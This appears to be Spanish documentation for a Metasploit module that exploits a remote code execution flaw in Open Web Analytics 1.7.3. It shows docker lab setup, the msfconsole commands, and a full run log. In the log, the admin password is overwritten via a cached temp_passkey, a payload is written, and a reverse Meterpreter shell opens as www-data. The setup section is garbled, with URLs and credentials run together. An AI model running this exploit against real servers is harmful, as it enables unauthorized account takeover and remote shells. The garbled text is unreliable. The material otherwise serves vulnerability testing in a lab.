
Open Web Analytics 1.7.3 - Ejecución Remota de Código
Open Web Analytics (OWA) anterior a 1.7.4 permite que un atacante remoto no autenticado obtenga información confidencial del usuario, que puede usarse para obtener privilegios de administrador aprovechando los hashes de caché. Esto ocurre porque los archivos generados con `<?php (en lugar de la secuencia prevista "<?php) no son procesados por el intérprete de PHP.
Inicie una instancia vulnerable de OWA usando docker
docker compose up -ddocker-compose.yml
http://127.0.0.1/docker inspect <db-container> y obtenga IPAddress, p. ej. 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#Inicie msfconsole
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> esto debe ser la IP del puente que se creó con el comando docker compose up -d
check
run
Al explotar el objetivo, la contraseña del usuario atacado se sobrescribirá con esta contraseña.
El usuario que será el objetivo de este exploit.
El exploit funciona recuperando un valor temp_passkey de un archivo de caché que se crea para cada usuario al intentar iniciar sesión con él.
Dado que el directorio /owa-data/caches/ es de acceso público, podemos recuperar estos archivos de caché. La ruta exacta de los archivos de caché
depende del user_id y se puede calcular con él. Esta opción define cuántas rutas calculadas, comenzando desde 0, deben
comprobarse en busca de archivos de caché con el valor temp_passkey.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >